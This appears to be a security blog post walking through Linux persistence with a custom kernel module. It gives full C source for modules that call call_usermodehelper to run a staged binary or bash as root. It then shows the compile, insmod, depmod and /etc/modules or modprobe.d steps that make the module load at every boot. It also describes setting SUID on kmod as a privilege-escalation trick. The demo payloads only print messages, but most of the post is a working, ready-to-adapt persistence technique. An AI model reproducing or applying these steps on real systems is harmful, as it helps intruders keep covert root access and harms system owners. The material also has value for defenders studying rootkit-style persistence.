First and foremost I have to admit that establishing persistence with a custom kernel module, isn’t the most ideal way. Creating kernel modules isn’t that easy. Kernel modules are normally compiled against a single kernel version, there are significant limitations on what can be done in kernel space, and errors can cause the system to freeze or crash. Regardless, I think its a valuable learning experience, that all Linux security professionals should understand. For a much easier way to maintain access to modern system check out my post on persistence with systemd timers.
As mentioned, kernel space capabilities are limited to dealing with files and devices on behalf of userspace applications. Since modules themselves are loaded into the running kernel it can be fairly difficult to write persistence code within a module that plays nice with the kernel space protections and limited functionality. Instead we can leverage a kernel function “call_usermodehelper” to execute a command in the requesting userspace. Since by default only the root user can request a module be loaded, this gives us command execution as root. In its most simplistic form the source code for a module, test_shell.c would look like the following.
#include <linux/module.h> // included for all kernel modules
#include <linux/init.h> // included for __init and __exit macros
MODULE_LICENSE("GPL");
MODULE_AUTHOR("sleventyeleven");
MODULE_DESCRIPTION("A Simple shell module");
static int __init shell_init(void)
{
call_usermodehelper("/tmp/exe", NULL, NULL, UMH_WAIT_EXEC);
return 0; // Non-zero return means that the module couldn't be loaded.
}
static void __exit shell_cleanup(void)
{
printk(KERN_INFO "Uninstalling Module!\n");
}
module_init(shell_init);
module_exit(shell_cleanup);
Since kernel mode capabilities and libraries are so limited, we can further simplify the payload execution by staging it into a standard c application instead. This allows for the module to attempt to execute the staged application in a root terminal and still return normally regardless of what happens. The source code for a simple c execution program, nammed exe.c, might look like the following.
#include <stdlib.h>
int main(void)
{
system("wall \"Hello There Im a Module!\"");
return 0;
}
If we don’t want to stage a second executable to establish persistence with the custom kernel module, its possible to create variables for the users environment and command line arguments to be passed directly to the ‘call_usermodeheler’ function. The module source code to do this might look like the following.
#include <linux/module.h> // included for all kernel modules
#include <linux/init.h> // included for __init and __exit macros
MODULE_LICENSE("GPL");
MODULE_AUTHOR("sleventyeleven");
MODULE_DESCRIPTION("A Simple shell module");
static int __init shell_init(void)
{
static char *envp[] = {
"HOME=/",
"TERM=linux",
"USER=root",
"SHELL=/bin/bash",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL};
char *argv[] = {
"wall",
"\"Hello I'm a Module!\"",
NULL};
call_usermodehelper("/bin/bash", argv, envp, UMH_WAIT_EXEC);
printk(KERN_INFO "Installing Module!\n");
return 0; // Non-zero return means that the module couldn't be loaded.
}
static void __exit shell_cleanup(void)
{
printk(KERN_INFO "Uninstalling Module!\n");
}
module_init(shell_init);
module_exit(shell_cleanup);
Before compiling the module, you will need to be on the target system or a similar system with the same kernel version. You will also need to have all of the required tools for kernel development and the current kernels header files. The easiest way to do that is to run ‘apt-get install build-essential linux-headers-$(uname -r)’ on Debian based systems or ‘yum install kernel-headers kernel-devel glibc-devel gcc gcc-c++ make’ for Redhat based systems.
Once the build tools are installed, we can create a Makefile with a kbuild (kernel builder) extension at the top to compile our module. Just keep in might that kbuild will switch to the kernel source directory and only allow use of includes of headers within the original source.
obj-m += test_shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=${PWD} modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=${PWD} clean
You can use a command like ‘insmod test_shell.ko’ to load a module directly into the kernel and ‘rmmod test_shell.ko’ to remove the module. This allows for easy testing of modules, before configuring them to automatically loaded at boot.
Once the module is complied and tests successfully, we can copy the module to the current kernels’ modules directory.
cp test_shell.ko /lib/modules/`uname -r`/kernel/lib/
Next we need to run ‘depmod’ to build out the binary tree files of all the modules and dependencies. Without the dependency tree updated, the system wont know our module exists or how to load it into the kernel.
depmod -a
If we are going to stage the second executable for the module to attempt to execute, then we will need to compile it with gcc like the following.
gcc exe.c -o /tmp/exe
To have persistence with the custom kernel module loaded at boot time, we need to modify the config files for either modprobe or kmod depending on which is used. In most cases you can easily figure out if its a kmod system by looking if the standard module tools are just symbolic links to kmod. This can be done with a command like the following.
ls -al `which modprobe`
If the you do see modprobe is just a symbolic link to kmod, getting a registered module to start at boot is fairly simple. Just place the name of the module, minus the .ko extension, in the /etc/module config file. This can be done with a simple command like the following. It will cause systemd-modules-load service to utlize kmod, to automatically load the module on boot.
echo 'test-shell' >> /etc/modules
Interesting you can actually set the SUID bit on kmod so standard users can load modules as root. Whereas if you set SUID on legacy modprobe executable, it still runs in the userspace instead. So simply setting SUID on the kmod executable can be an easy way to establish privilege escalation similar to the dash shell, I’ve blogged about before.
If its not a kmod system, we can instead utilize modprobe to automatically start the custom module by creating a .conf file in the /etc/modeprobe.d/ directory. The content of the .conf should look similar too:
install test_shell
On modprobe systems, standard users can also request a module be loaded, if there is a valid configuration file that already exists. But any code execution is done within the requesting users context. Interestingly enough you can have modprobe run a terminal command after loading a module by appending a command to the end of install statement in the config file. That could work as a persistence method as well, but there is no guarantee all filesystems are mounted and networking has been established when the module is loaded.
With all that work complete, we have established persistence, until the kernel is updated at least.